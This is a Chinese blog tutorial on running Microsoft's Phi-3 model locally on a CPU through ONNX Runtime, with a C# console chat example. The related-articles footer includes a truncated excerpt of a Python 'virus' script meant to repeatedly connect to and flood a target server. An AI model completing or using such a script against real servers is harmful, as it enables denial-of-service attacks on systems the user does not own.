Phi小模型开发教程:用C#开发本地部署AI聊天工具,只需CPU,不需要GPU,3G内存就可以运行,不输GPT-3.5

ops/2025/1/19 17:19:49/

大家好,我是编程乐趣。

行业诸多大佬一直在说:“‌2025年将是AI应用元年‌”,虽然说大佬的说法不一定对,但AI趋势肯定没错的。

对于我们程序员来说,储备AI应用开发技能,不管对找工作、接项目、创业肯定是不错的选择。

从今天开始,我将会学习和研究Phi小模型,并基于此模型开发一些小Demo,也作为我的学习笔记,欢迎大家关注收藏!

下面先用C#开发一个调用本地模型的示例,一起来感受下Phi的魅力。

什么是Phi?

Phi模型是微软推出的一系列小型语言开源模型,刚刚发布了最新版本:Phi-4。

在GPQA研究生水平、MATH数学基准测试中,超过了OpenAI的GPT-4o,也超过了同类顶级开源模型Qwen 2.5 -14B和Llama-3.3-70B。

在美国数学竞赛AMC的测试中phi-4更是达到了91.8分,超过了Gemini Pro 1.5、GPT-4o、Claude 3.5 Sonnet、Qwen 2.5等知名开闭源模型,甚至整体性能可以与4050亿参数的Llama-3.1媲美。

图片

模型下载地址

微软在HuggingFace开源这款超强的小参数模型,并且支持MIT许可证下商业用途。

当前最新版本开源地址:

https://huggingface.co/microsoft/phi-4

图片

C#源码开发示例

1、下载ONNX

ONNX(Open Neural Network Exchange)是由微软和Facebook等科技巨头于2017年联合推出的一种开放格式。

ONNX 已经对接了多种深度学习框架和多种推理引擎。因此,ONNX 被当成了深度学习框架到推理引擎的桥梁。

ONNX Runtime提供了简单易用的API,支持Python、C++、C#和Java等多种编程语言,方便开发者将其集成到现有应用中。

微软针对Phi-3版本,已经为我们提供了onnx文件,我们这里下载的是Phi-3版本的,因为Phi-4还没有onnx文件。

下载地址:

https://huggingface.co/collections/microsoft/phi-3-6626e15e9585a200d2d761e3

图片

onnx提供了CPU、GPU版本,我这边使用的是CPU版本,把以下文件下载到本地。

图片

下载后的本地文件如下:

图片

2、创建控制台应用

创建控制台应用,我这边使用的是.Net 9。

图片

安装依赖库:

Microsoft.ML.OnnxRuntimeGenAI

官方为我们提供多个套件,不同套件针对不同的硬件加速需求和环境进行优化,后面在详细介绍,这边我们使用的CPU模型,安装Microsoft.ML.OnnxRuntimeGenAI就行。

图片

3、代码示例

using Microsoft.ML.OnnxRuntimeGenAI;// 指定模型路径
var modelPath = @"F:\Model";
// 创建Model对象,加载模型
var model = new Model(modelPath);
// 创建Tokenizer对象,用于文本的编码和解码
var tokenizer = new Tokenizer(model);// 设置系统提示,定义AI助手的行为风格
//“您是一个帮助人们查找信息的AI助手。请使用直接的风格回答问题。不要分享用户未请求的额外信息。”
var systemPrompt = "You are an AI assistant that helps people find information. Answer questions using a direct style. Do not share more information that the requested by the users.";// 提示用户输入问题,空字符串退出
Console.WriteLine(@"Ask your question. Type an empty string to Exit.");// 循环等待用户输入问题
while (true)
{Console.WriteLine();Console.Write(@"Q: ");var userQ = Console.ReadLine();// 如果用户输入为空字符串,则退出循环if (string.IsNullOrEmpty(userQ)){break;}// 显示AI助手的回答前缀Console.Write("Phi3: ");// 构建完整的提示文本,包括系统提示、用户问题和AI助手的开始标记var fullPrompt = $"<|system|>{systemPrompt}<|end|><|user|>{userQ}<|end|><|assistant|>";// 使用Tokenizer将文本编码为tokensvar tokens = tokenizer.Encode(fullPrompt);// 创建GeneratorParams对象,设置生成参数var generatorParams = new GeneratorParams(model);// 设置最大生成长度generatorParams.SetSearchOption("max_length", 2048);// 设置past和present是否共享缓冲区,这里设置为falsegeneratorParams.SetSearchOption("past_present_share_buffer", false);// 设置输入序列generatorParams.SetInputSequences(tokens);// 创建Generator对象,用于生成文本var generator = new Generator(model, generatorParams);// 循环生成文本,直到生成完成while (!generator.IsDone()){// 计算logitsgenerator.ComputeLogits();// 生成下一个tokengenerator.GenerateNextToken();// 获取当前生成的序列var outputTokens = generator.GetSequence(0);// 获取新生成的tokenvar newToken = outputTokens.Slice(outputTokens.Length - 1, 1);// 解码新生成的token为文本var output = tokenizer.Decode(newToken);// 输出生成的文本Console.Write(output);}// 换行,准备下一轮输入Console.WriteLine();
}

4、运行效果如下

初始化界面:

图片

输入问题:

图片

回答结果:

图片

Phi是使用英文作为训练材料的,所以用英文提问效果会比较好点。

5、占用资源如下

测试环境:Intel i7处理器。

图片

这样就完成一个小Demo了。

好了,今天就分享到这边了,此系列会持续更新,欢迎关注我!

以上相关模型、源码示例,我也打包好了,https://pan.quark.cn/s/53f3e932e9bf

- End -

更多开源项目: https://github.com/bianchenglequ/NetCodeTop

我是编程乐趣,一个.Net开发经验老程序员,欢迎“关注”我,每天为你分享开源项目和编程知识。
也欢迎加入【.Net技术编程交流社区】,和大家共同学习交流!,
点击加入:https://bbs.csdn.net/topics/613465368


http://www.ppmy.cn/ops/151433.html

相关文章

在【IntelliJ IDEA】中配置【Tomcat】【2023版】【中文】【图文详解】

作为一款功能强大的集成开发环境&#xff08;IDE&#xff09;&#xff0c;IntelliJ IDEA为Web服务器提供了卓越的支持&#xff0c;从而极大地简化了程序员在Web开发过程中的工作流程。学习Java Web开发实质上就是掌握如何创造动态Web资源&#xff0c;这些资源在完成开发后&…

如何攻击一个服务器(仅用于教育及娱乐实验目的)

import socket import osdef create_virus():# 创建一个简单的病毒脚本&#xff0c;它会不断尝试连接目标服务器并发送恶意数据virus_code """ import socket import time import threadingdef attack_server(ip, port):while True:try:s socket.socket(socke…

麒麟V10系统上安装Oracle

以下是在麒麟V10系统上安装Oracle数据库的详细步骤&#xff1a; 安装前准备 检查系统版本&#xff1a;使用uname -a、cat /etc/os-release等命令检查服务器是麒麟V10系统。 配置固定IP和本地yum源&#xff1a; 挂载麒麟V10的iso文件到/mnt目录&#xff0c;如mount -o loop Ky…

【AI日记】25.01.18

【AI论文解读】【AI知识点】【AI小项目】【AI战略思考】【AI日记】【读书与思考】 AI kaggle 比赛&#xff1a;Forecasting Sticker Sales 读书 书名&#xff1a;自由宪章阅读原因&#xff1a;作者哈耶克&#xff0c;诺贝尔经济学奖得主&#xff0c;之前读过他的 《通往奴役…

Vi 和 Vim 文本编辑器使用指南

目录 基本模式 查找与替换 Vi&#xff08;Visual&#xff09;和 Vim&#xff08;Vi Improved&#xff09;是两款在 Unix/Linux 系统中广泛使用的文本编辑器。Vim 是 Vi 的改进版本&#xff0c;继承了 Vi 的核心功能&#xff0c;并增加了许多新特性&#xff0c;如语法高亮、多…

2.slf4j入口

文章目录 一、故事引入二、原理探究三、SLF4JServiceProvider四、总结 一、故事引入 故事要从下面这段代码说起 public class App {private static final Logger logger LoggerFactory.getLogger(App.class);public static void main( String[] args ) throws Exception {lo…

【视觉惯性SLAM:十六、 ORB-SLAM3 中的多地图系统】

16.1 多地图的基本概念 多地图系统是机器人和计算机视觉领域中的一种关键技术&#xff0c;尤其在 SLAM 系统中具有重要意义。单一地图通常用于表示机器人或相机在环境中的位置和构建的空间结构&#xff0c;但单一地图在以下情况下可能无法满足需求&#xff1a; 大规模场景建图…

浅谈云计算22 | Kubernetes容器编排引擎

Kubernetes容器编排引擎 一、Kubernetes管理对象1.1 Kubernetes组件和架构1.2 主要管理对象类型 二、Kubernetes 服务2.1 服务的作用与原理2.2 服务类型 三、Kubernetes网络管理3.1 网络模型与目标3.2 网络组件3.2.1 kube-proxy3.2.2 网络插件 3.3 网络通信流程 四、Kubernetes…